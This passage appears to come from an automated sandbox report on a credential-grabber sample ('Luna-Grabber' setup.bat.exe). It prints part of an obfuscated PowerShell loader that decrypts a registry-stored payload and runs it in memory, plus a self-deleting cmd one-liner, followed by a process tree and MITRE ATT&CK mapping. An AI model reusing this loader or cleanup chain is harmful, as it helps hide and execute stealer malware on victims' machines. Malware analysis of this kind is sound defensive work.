'')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812
    - - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1008" "3100" "2980" "3104" "0" "0" "3108" "0" "0" "0" "0" "0"
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5748
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe"
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:6332
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:6348
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6448
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:6628
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3480

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3640

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3796

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4056

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4100

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1272

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1708

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:312

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4288

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2460

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1684

C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe
C:\Windows\$sxr-seroxen1\$sxr-nircmd.exe
1⤵
- Executes dropped EXE
PID:4812

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 073ef05f209fd68398efaeae7a3fd0f1 Y+HALh3+Lk+njzsBjnZYww.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:5156
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5900

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:636

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5264

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:5516

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2772

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:4236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery